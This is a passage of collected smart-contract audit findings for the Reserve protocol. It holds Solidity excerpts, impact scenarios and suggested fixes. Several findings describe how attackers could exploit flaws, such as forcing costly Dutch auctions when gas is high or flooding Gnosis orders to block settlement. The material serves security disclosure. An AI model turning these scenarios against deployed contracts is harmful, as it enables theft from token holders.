origin.settleTrade(sell);\n\n // confirm callback succeeded\n assert(status == TradeStatus.CLOSED);\n }\n```\n\n3. However, her call is preceded by [`pauseTrading()`](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/mixins/Auth.sol#L169-L172) invoked by a `PAUSER`, and denied on line 46 of the function below:\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RevenueTrader.sol#L43-L52\n\n```solidity\n function settleTrade(IERC20 sell)\n public\n override(ITrading, TradingP1)\n46: notTradingPausedOrFrozen\n returns (ITrade trade)\n {\n trade = super.settleTrade(sell); // nonReentrant\n distributeTokenToBuy();\n // unlike BackingManager, do _not_ chain trades; b2b trades of the same token are unlikely\n }\n```\n4. As the auction is nearing to `endTime`, the `PAUSER` calls [`unpauseIssuance()`](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/mixins/Auth.sol#L176-L179).\n\n5. Bob, the late comer, upon seeing this, proceeds to calling `bid()` and gets the sell token for a price much lower than he would initially expect before the trading pause.\n \n## Tools Used\nManual\n\n## Recommended Mitigation Steps\nConsider removing `notTradingPausedOrFrozen` from the function visibility of `RevenueTrader.settleTrade` and `BackingManager.settleTrade`. This will also have a good side effect of allowing the settling of a Gnosis trade if need be. Collectively, the settled trades could at least proceed to helping boost the RToken and/or stRSR exchange rates that is conducive to the token holders redeeming and withdrawing. The same shall apply to enhancing recollaterization, albeit future tradings will be halted if the trading pause is still enabled. \n\n\n## Assessed type\n\nTiming","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/48"}} +{"title":"The broker should not be fully disabled by GnosisTrade.reportViolation","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/plugins/trading/GnosisTrade.sol#L202\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/Broker.sol#L119-L123\n\n\n# Vulnerability details\n\n## Impact\nGnosisTrade and DutchTrade are two separate auction systems where the failing of either system should not affect the other one. The current design will have `Broker.sol` disabled when `reportViolation` is invoked by `GnosisTrade.settle()` if the auction's clearing price was below what we assert it should be.\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/plugins/trading/GnosisTrade.sol#L202\n\n```solidity\n broker.reportViolation();\n```\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/Broker.sol#L119-L123\n\n```solidity\n function reportViolation() external notTradingPausedOrFrozen {\n require(trades[_msgSender()], \"unrecognized trade contract\");\n emit DisabledSet(disabled, true);\n disabled = true;\n }\n```\nConsequently, both `BackingManager` and `RevenueTrader (rsrTrader and rTokenTrader)` will not be able to call `openTrade()`: \n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/Broker.sol#L97-L98\n\n```soliidty\n function openTrade(TradeKind kind, TradeRequest memory req) external returns (ITrade) {\n require(!disabled, \"broker disabled\");\n ...\n```\ntill it's resolved by the governance:\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/Broker.sol#L180-L183\n\n```solidity\n function setDisabled(bool disabled_) external governance {\n emit DisabledSet(disabled, disabled_);\n disabled = disabled_;\n }\n```\n## Proof of Concept\nThe following `Trading.trytrade()` as inherited by `BackingManager` and `RevenueTrader` will be denied on line 121, deterring recollaterization and boosting of Rtoken and stRSR exchange rate. The former deterrence will have [`Rtoken.redeemTo`](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L190) and [`StRSR.withdraw`](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/StRSR.sol#L335) (both [requiring](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L190) [`fullyCollateralized`](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/StRSR.sol#L335)) denied whereas the latter will have the Rtoken and stRSR holders divested of intended gains. \n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/mixins/Trading.sol#L113-L126\n\n```solidty\n function tryTrade(TradeKind kind, TradeRequest memory req) internal returns (ITrade trade) {\n /* */\n IERC20 sell = req.sell.erc20();\n assert(address(trades[sell]) == address(0));\n\n IERC20Upgradeable(address(sell)).safeApprove(address(broker), 0);\n IERC20Upgradeable(address(sell)).safeApprove(address(broker), req.sellAmount);\n\n121: trade = broker.openTrade(kind, req);\n trades[sell] = trade;\n tradesOpen++;\n\n emit TradeStarted(trade, sell, req.buy.erc20(), req.sellAmount, req.minBuyAmount);\n }\n```\n## Tools Used\nManual\n\n## Recommended Mitigation Steps\nConsider having the affected code refactored as follows:\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/Broker.sol#L97-L113\n\n```diff\n function openTrade(TradeKind kind, TradeRequest memory req) external returns (ITrade) {\n- require(!disabled, \"broker disabled\");\n\n address caller = _msgSender();\n require(\n caller == address(backingManager) ||\n caller == address(rsrTrader) ||\n caller == address(rTokenTrader),\n \"only traders\"\n );\n\n // Must be updated when new TradeKinds are created\n if (kind == TradeKind.BATCH_AUCTION) {\n+ require(!disabled, \"Gnosis Trade disabled\");\n return newBatchAuction(req, caller);\n }\n return newDutchAuction(req, ITrading(caller));\n }\n```\nThis will have the Gnosis Trade conditionally denied while still allowing the opening of Dutch Trade. \n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/47"}} +{"title":"After trade has finished, BackingManager.rebalance is called with same trade kind","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/BackingManager.sol#L89\n\n\n# Vulnerability details\n\n## Impact\nAfter trade has finished, BackingManager.rebalance is called with same trade kind. That means that users can't change auction for the chain of trades.\n\n## Proof of Concept\nBackingManager [allows only 1 trade at a time](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/BackingManager.sol#L116).\nWhen trade has finished, then [it should be settled](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/BackingManager.sol#L84), so new trade can be created then.\n\nWhen you settle the function, then [rebalance is called again](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/BackingManager.sol#L89) in order to start next trade that should repair the system. \nThe problem is that same trade kind is passed to the rebalance function as it was used on previous trade. That actually means that if we need to do 10 trades to recollateralize system and we started with Gnosis auction or Dutch auction, then all this 10 trades will be done with same auction type. But sometimes one auction is better than another one(for example gas prices are high or smth else) and user would like to choose which one to start, but they don't have such option and this can have impact on received amount and the system.\n\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\nThink about how to handle this. Maybe you don't need to call rebalance right after settling. \n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/46"}} +{"title":"Malicious actor can call rebalance with TradeKind for dutch auction when gas prices are big to make losses for system","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/BackingManager.sol#L99-L161\n\n\n# Vulnerability details\n\n## Impact\nMalicious actor can call rebalance with TradeKind for dutch auction when gas prices are big to make losses for system. Because bidding with Dutch auction is costly for users, system will receive much less tokens for the trade than expected.\n\n## Proof of Concept\n`BackingManager.rebalance` can be called by anyone. User should provide type of auction that will be used: Gnosis or Dutch.\nThe difference between them now is that Gnosis can be settled by anyone(he pays for gas), while Dutch auction should be settled by bidder. And this settle process is costly, because it will call rebalance for user again.\n\nBecause Dutch auction takes a lot of gas from user that means that they will pay less amount for the traded assets to compensate that gas. The more busy main net and bigger gas prices, the less bidders would like to pay.\n\nMalicious user in times when gas prices are high can call(frontrun another users) `BackingManager.rebalance` with Dutch auction in order to make system lose part of their collateral.\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\nI don't know how to handle this.\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/45"}} +{"title":"Dutch auction is costly for bidder which means that system will likely receive less assets then expected","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/plugins/trading/DutchTrade.sol#L146-L164\n\n\n# Vulnerability details\n\n## Impact\nDutch auction is costly for bidder which means that system will likely receive less assets then expected.\n\n## Proof of Concept\nWhen `BackingManager.rebalance` is called then system calculates the best assets to trade to cover deficit.\nIn case if Dutch trade is chosen, that means that price for assets will be set high and then during the time it will be going down.\n\nWhen someone agrees to buy assets, he should call `bid` function. This [will settle BackingManager](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/plugins/trading/DutchTrade.sol#L160C16-L160C27), which will [try to rebalance](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/BackingManager.sol#L87-L96) again. Because of this, bidding is not cheap for the user. Depending on amount of assets that should be checked for optimistic/pessimistic cases, gas amount consumed by function can be very big. \nThat means that users will not buy traded assets for the market price(as it was calculated in recollateralization lib), they will also account for gas price when bidding. That means that they will actually pay less amount to the RToken system and recollateralization will be less efficient, especially when main net is busy and gas price is high. This will have bad impact on the whole system.\n\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\nI guess that Dutch auction is not efficient, maybe it's not needed. Or you can not call rebalance when settling. Let user pay for bidding and closing trade. And someone else will start another cycle of rebalancing. Then prices, received for auction will be more predictable.\n\n\n\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/44"}} +{"title":"StRSR.leakyRefresh function should call `_payoutRewards`","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/StRSR.sol#L665-L683\n\n\n# Vulnerability details\n\n## Impact\nStRSR.leakyRefresh function should call `_payoutRewards`. Otherwise `totalRSR` amount is not up to date.\n\n## Proof of Concept\n`StRSR.leakyRefresh` function checks if it's time to call `assetRegistry.refresh`. In order to do that it tracks percentage of withdrawn RSR to the total RSR in the system.\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/StRSR.sol#L665-L683\n```solidity\n function leakyRefresh(uint256 rsrWithdrawal) private {\n uint48 lastRefresh = assetRegistry.lastRefresh(); // {s}\n\n\n // Assumption: rsrWithdrawal has already been taken out of draftRSR\n uint256 totalRSR = stakeRSR + draftRSR + rsrWithdrawal; // {qRSR}\n uint192 withdrawal = _safeWrap((rsrWithdrawal * FIX_ONE + totalRSR - 1) / totalRSR); // {1}\n\n\n // == Effects ==\n leaked = lastWithdrawRefresh != lastRefresh ? withdrawal : leaked + withdrawal;\n lastWithdrawRefresh = lastRefresh;\n\n\n if (leaked > withdrawalLeak) {\n leaked = 0;\n lastWithdrawRefresh = uint48(block.timestamp);\n\n\n /// == Refresh ==\n assetRegistry.refresh();\n }\n }\n```\n\nTo get `totalRSR` it uses `stakeRSR + draftRSR + rsrWithdrawal`. However this is not up to date option. This is because new RSR can be accrued as rewards on the time of call. Because of that `leakyRefresh` should call `_payoutRewards` function, which will distribute rewards and make `stakeRSR` to be up to date.\n\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\n`leakyRefresh` should call `_payoutRewards` function.\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/40"}} +{"title":"StRSR.leakyRefresh implementation is wrong","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/StRSR.sol#L665-L683\n\n\n# Vulnerability details\n\n## Impact\nStRSR.leakyRefresh implementation is wrong. Asset registry refresh will not work as planned.\n\n## Proof of Concept\n`StRSR.leakyRefresh` function should check how much percents of `totalRSR` was withdrawn, since last `assetsRegistry.refresh` call. This is needed to save gas for users.\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/StRSR.sol#L665-L683\n```solidity\n function leakyRefresh(uint256 rsrWithdrawal) private {\n uint48 lastRefresh = assetRegistry.lastRefresh(); // {s}\n\n\n // Assumption: rsrWithdrawal has already been taken out of draftRSR\n uint256 totalRSR = stakeRSR + draftRSR + rsrWithdrawal; // {qRSR}\n uint192 withdrawal = _safeWrap((rsrWithdrawal * FIX_ONE + totalRSR - 1) / totalRSR); // {1}\n\n\n // == Effects ==\n leaked = lastWithdrawRefresh != lastRefresh ? withdrawal : leaked + withdrawal;\n lastWithdrawRefresh = lastRefresh;\n\n\n if (leaked > withdrawalLeak) {\n leaked = 0;\n lastWithdrawRefresh = uint48(block.timestamp);\n\n\n /// == Refresh ==\n assetRegistry.refresh();\n }\n }\n```\nIn case if `lastWithdrawRefresh` was done in same time as `assetRegistry.lastRefresh`, then percentage is calculated and added to the counter.\nIn case, if this counter is more than `withdrawalLeak`, which is not more than [30%](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/StRSR.sol#L155), then `assetRegistry.refresh` is called.\n\nThe problem here is how `withdrawal` is calculated.\n`uint192 withdrawal = _safeWrap((rsrWithdrawal * FIX_ONE + totalRSR - 1) / totalRSR)`\n`totalRSR` is all rsr at the moment of withdraw, so on next call totalRSR will be smaller than on previous(or even can be bigger if new stakers minted stRSR).\n\nThat means that this `withdrawal` calculation will not be able to get correct ratio.\nExample.\n1.totalRSR is 100 and user withdraws 10, which means that `withdrawal == 10%`. this value is stored to `leaked`.\n2.another user withdraws 10, which is 11% this time. `leaked` is 21 now, which is incorrect. It should be only 20%.\n\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\nI don't see good solution here, because `totalRSR` is not fixed, it can be bigger or less than previous one, because of withdraws/deposits. However current calculation is wrong.\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/37"}} +{"title":"In case Distributor.setDistribution use, revenue from rToken RevenueTrader and rsr token RevenueTrader should be distributed","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/Distributor.sol#L61-L65\n\n\n# Vulnerability details\n\n## Impact\nIn case Distributor.setDistribution use, revenue from rToken RevenueTrader and rsr token RevenueTrader should be distributed. Otherwise wrong distribution will be used.\n## Proof of Concept\n`BackingManager.forwardRevenue` function sends revenue amount to the `rsrTrader` and `rTokenTrader` contracts, [according to the distribution inside `Distributor` contract](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/BackingManager.sol#L236-L249). For example it can 50%/50%. In case if we have 2 destinations in Distributor: strsr and furnace, that means that half of revenue will be received by strsr stakers as rewards.\n\nThis distribution [can be changed](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/Distributor.sol#L61-L65) at any time.\nThe job of `RevenueTrader` is to sell provided token for a `tokenToBuy` and then distribute it using `Distributor.distribute` function. There are 2 ways of auction that are used: dutch and gnosis. Dutch auction will call `RevenueTrader.settleTrade`, which [will initiate distribution](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RevenueTrader.sol#L50). But Gnosis trade will not do that and user should call `distributeTokenToBuy` manually, after auction is settled.\n\nThe problem that i want to discuss is next.\nSuppose, that governance at the beginning set distribution as 50/50 between 2 destinations: strsr and furnace. And then later `forwardRevenue` sent some tokens to the rsrTrader and rTokenTrader. Then, when trade was active to exchange some token to rsr token, `Distributor.setDistribution` was set in order to make strsr share to 0, so now everything goes to Furnace only. As result, when trade will be finished in the rsrTrader and `Distributor.distribute` will be called, then those tokens will not be sent to the strsr contract, because their share is 0 now.\nThey will be stucked inside rsrTrader.\n\nAnother problem here is that strsr holders should receive all revenue from the time, where they distribution were created. What i mean is if in time 0, rsr share was 50% and in time 10 rsr share is 10%, then `BackingManager.forwardRevenue` should be called for all tokens that has surplus, because if that will be done after changing to 10%, then strsr stakers will receive less revenue.\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\nYou need to think how to guarantee fair distribution to the strsr stakers, when distribution params are changed.\n\n\n\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/34"}} +{"title":"When asset is unregistered from registry, then rewards should be claimed for it by backing manager","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/mixins/RewardableLib.sol#L38-L42\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/AssetRegistry.sol#L102-L115\n\n\n# Vulnerability details\n\n## Impact\nWhen asset is unregistered from registry, then rewards should be claimed for it by backing manager. Currently, this rewards are not claimed, however they can be used to increase RToken backing.\n\n## Proof of Concept\nAssets that are used in RToken system can be `IRewardable`, which means that holder can receive additional rewards for them. `BackingManager` is responsible for holding all assets, provided as collateral by users. It implements `TradingP1` contract, [that allows to claim rewards for different tokens](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/mixins/Trading.sol#L68-L70).\n\nAll assets in the system are handled by `AssetRegistry` contract. It's possible to [unregister asset](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/AssetRegistry.sol#L102-L115). In this case it will not be possible to claim rewards for it using BackingManager anymore. As result rewards will be unclaimed.\n\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\nWhen you unregister asset, then claim rewards for it's erc20 inside backing manager.\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/31"}} +{"title":"RToken.setIssuanceThrottleParams and RToken.setRedemptionThrottleParams doesn't update lastTimestamp for the limiter","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L444-L459\n\n\n# Vulnerability details\n\n## Impact\nRToken.setIssuanceThrottleParams and RToken.setRedemptionThrottleParams doesn't update lastTimestamp for the limiter. As result, next call to `Throttle.useAvailable` will calculate available amount incorrectly.\n\n## Proof of Concept\nRToken has issuance throttle and redemption throttle, which should restrict amount that can be used by user on hourly basis.\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/libraries/Throttle.sol#L67-L75\n```solidity\n function currentlyAvailable(Throttle storage throttle, uint256 limit)\n internal\n view\n returns (uint256 available)\n {\n uint48 delta = uint48(block.timestamp) - throttle.lastTimestamp; // {seconds}\n available = throttle.lastAvailable + (limit * delta) / ONE_HOUR;\n if (available > limit) available = limit;\n }\n```\nAs you can see, available amount depends on `throttle.lastTimestamp`, when available amount was calculated for the last time.\n\nParams for the throttle [can be changed by governance](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RToken.sol#L444-L459).\nIn this case, calculations will use new `amtRate` and `pctRate`. But because, `throttle.lastTimestamp` is not updated, that means that this new values will affect older time as well, which is incorrect.\n\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\nYou need to update `throttle.lastTimestamp` when change params. Maybe call `useAvailable` in order to do that.\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/30"}} +{"title":"FurnaceP1.setRatio will work incorrect after call when frozen ","severity":"medium","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/Furnace.sol#L84-L91\n\n\n# Vulnerability details\n\n## Impact\n`FurnaceP1.setRatio` will not update `lastPayout` when called in frozen state, which means that after component will be unfrozen, melting will be incorrect.\n## Proof of Concept\n`melt` function should burn some amount of tokens from `lastPayoutBal`. It depends of `lastPayout` and `ratio` variables. The more time has passed, the more tokens will be burnt.\n\nWhen `setRatio` function is called, then `melt` function [is tried to be executed](https://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/Furnace.sol#L86), because new ratio is provided and it should not be used for previous time ranges.\nIn case if everything is ok, then `lastPayout` and `lastPayoutBal` will be updated, so it's safe to update `ratio` now.\nBut it's possible that `melt` function will revert in case if `notFrozen` modifier is not passed. As result `lastPayout` and `lastPayoutBal` will not be updated, but ratio will be. Because of that, when `Furnace` will be unfrozen, then melting rate can be much more, then it should be, because `lastPayout` wasn't updated.\n## Tools Used\nVsCode\n## Recommended Mitigation Steps\nIn case of `catch` case, you can update `lastPayout` and `lastPayoutBal`.\n\n\n## Assessed type\n\nError","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/29"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-06-reserve-findings/blob/main/data/rvierdiiev-Q.md).","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/28"}} +{"title":"Gas Optimizations","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-05-reserve-findings/blob/main/data/carlitox477-G.md).","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/27"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-05-reserve-findings/blob/main/data/carlitox477-Q.md).","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/26"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-05-reserve-findings/blob/main/data/0xA5DF-Q.md).","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/25"}} +{"title":"A reorg might cause Dutch Auction bidder to pay a much higher price than intended","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/plugins/trading/DutchTrade.sol#L232-L254\n\n\n# Vulnerability details\n\n\nThe Dutch Auction sets the bidding price according to the time of the bid.\nAt the first 40% of the time of the auction the price decays exponentially - starting from x1000 than the `middlePrice` down to `middlePrice`.\nThe problem is that in a case of a chain-reorg the auction launch time can change, and the price can change accordingly.\n\nReorgs are rare (esp. on mainnet) and are usually short, but they can still happen ([last one was a year ago](https://decrypt.co/101390/ethereum-beacon-chain-blockchain-reorg) on the Beacon chain before the merge). \nIf the auction length is short enough the time between the launch and the bid would be short too, making it possible for both txs to be affected by the reorg.\n\n\n## Impact\nBidder might end up paying up to x1000 than intended.\n\n## Proof of Concept\n\n\nConsider the following scenario:\n* The governance counts on bots to bid on auctions and therefore sets the auction length to 10 blocks\n* A Dutch Auction launches\n* A bot wants to buy at the middle price, so after 3 blocks it releases a tx, counting on it to be included in the 4th block (after 40% passes)\n* A reorg happens and the bot's tx is executed in the same block of the auction and the bot ends up paying x1000 than intended\n\n\n\n## Recommended Mitigation Steps\nWhen launching a new auction use `create2` with a salt that's a hash of the block-timestamp (and other parameters I guess).\nThis way, if a reorg happens, the auction contract's address would also change.\n\n\n## Assessed type\n\nOther","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/23"}} +{"title":"QA Report","body":"See the markdown file with the details of this report [here](https://github.com/code-423n4/2023-05-reserve-findings/blob/main/data/ronnyx2017-Q.md).","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/21"}} +{"title":"Shouldn't sell reward rtokens when basket is undercollateralized","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/p1/RevenueTrader.sol#L83-L139\n\n\n# Vulnerability details\n\n`RevenueTraderP1.manageToken` will sell the erc20 tokens for `tokenToBuy`. In the `main.rsrTrader`, the token flow is selling RToken, buying RSR. \n\nBut when the basket is undercollateralized, the `RTokenAsset.price()` will give a lower price for the basketRange.bottom, which is lower than the pirce of BU.\n\n```\nfunction tryPrice() external view virtual returns (uint192 low, uint192 high) {\n ...\n BasketRange memory range = basketRange(); // {BU}\n\n // {UoA/tok} = {BU} * {UoA/BU} / {tok}\n low = range.bottom.mulDiv(lowBUPrice, supply, FLOOR);\n high = range.top.mulDiv(highBUPrice, supply, CEIL);\n```\nRTokenAsset.basketRange\n```\nfunction basketRange() private view returns (BasketRange memory range) {\n ...\n if (basketsHeld.bottom >= basketsNeeded) {\n range.bottom = basketsNeeded;\n range.top = basketsNeeded;\n } else {\n // here is undercollateralized\n range = RecollateralizationLibP1.basketRange(ctx, reg);\n }\n```\n\nHowever when the trader sold the rtoken at a lower price and sent the purchased RSR to the stRSR, the RToken price will increase because of the overcollateralization effects of the new RSR tokens.\n\nIt very inefficient and results in lost of exchange rate.\n\n## Impact\nRToken has to take more haircut.\n\n## Proof of Concept\nAssumption: \n1. There is a simple basket with single collateral, aUSDC. \n2. 90 Rtoken hold by users and 100 aUSDC in BasketManager \n3. 10 Rtoken sent to rsrTrader to sold for rsr\n4. 1 rsr = 1 USDC\n5. stake 20 rsr\n\nAnd at present, aUSDC is cut down to 0.5 USDC.\n\nThe low price of RToken now is about `(50+20)/(90+10) = 0.7 USDC`.\n\nThe trader sold 10 RToken at this price will get `10*0.7= 7` RSR back.\n\nNow the low price of RToken is `(50+27)/(90+10) = 0.77`. The basketsNeeded will be haircut to 77 BU.\n\nBut if the 10 Rtokens are sent back to the BasketManager and burn for rebalance, the low price of RToken will be `(50+20)/90 = 0.77777777`. The basketsNeeded only needs to be haircut to 77.77 BU. One percent increases.\n\n## Tools Used\nManual review\n## Recommended Mitigation Steps\n\n\n## Assessed type\n\nContext","dataSource":{"name":"code-423n4/2023-06-reserve-findings","repo":"https://github.com/code-423n4/2023-06-reserve-findings","url":"https://github.com/code-423n4/2023-06-reserve-findings/issues/19"}} +{"title":"Dos rebalance forever by gnosis auction","body":"# Lines of code\n\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/plugins/trading/GnosisTrade.sol#L25\nhttps://github.com/reserve-protocol/protocol/blob/c4ec2473bbcb4831d62af55d275368e73e16b984/contracts/plugins/trading/GnosisTrade.sol#L163-L177\n\n\n# Vulnerability details\n\nThe GnosisTrade uses `gnosis.settleAuction(auctionId)` in `settle()` to settle the auction and gathers the tokens in the gnosis EasyAuction contract.\n\n`EasyAuction.settleAuction` traverses all the sell orders stored in the linked list:\n```\n// Sum order up, until fullAuctionedAmount is fully bought or queue end is reached\ndo {\n bytes32 nextOrder = sellOrders[auctionId].next(currentOrder);\n if (nextOrder == IterableOrderedOrderSet.QUEUE_END) {\n break;\n }\n currentOrder = nextOrder;\n (, buyAmountOfIter, sellAmountOfIter) = currentOrder.decodeOrder();\n currentBidSum = currentBidSum.add(sellAmountOfIter);\n} while (\n currentBidSum.mul(buyAmountOfIter) <\n fullAuctionedAmount.mul(sellAmountOfIter)\n);\n```\n`GnosisTrade.MAX_ORDERS` is the max number of orders should be made for auction.\n\nCurrent max orders is 10000, as my poc test below, 10000 buy orders will make `gnosis.settleAuction` can't been finished because the cost of gas is > 30,000,000 (eth max gas limit of a block). Should set `GnosisTrade.MAX_ORDERS` to a smaller value.\n\n## Impact\nIf the trade can't be settled, the tradesOpen will be always bigger than 0. The `rebalance` is DOS forever.\n\n```\nrequire(tradesOpen == 0, \"trade open\");\n```\n\n## Proof of 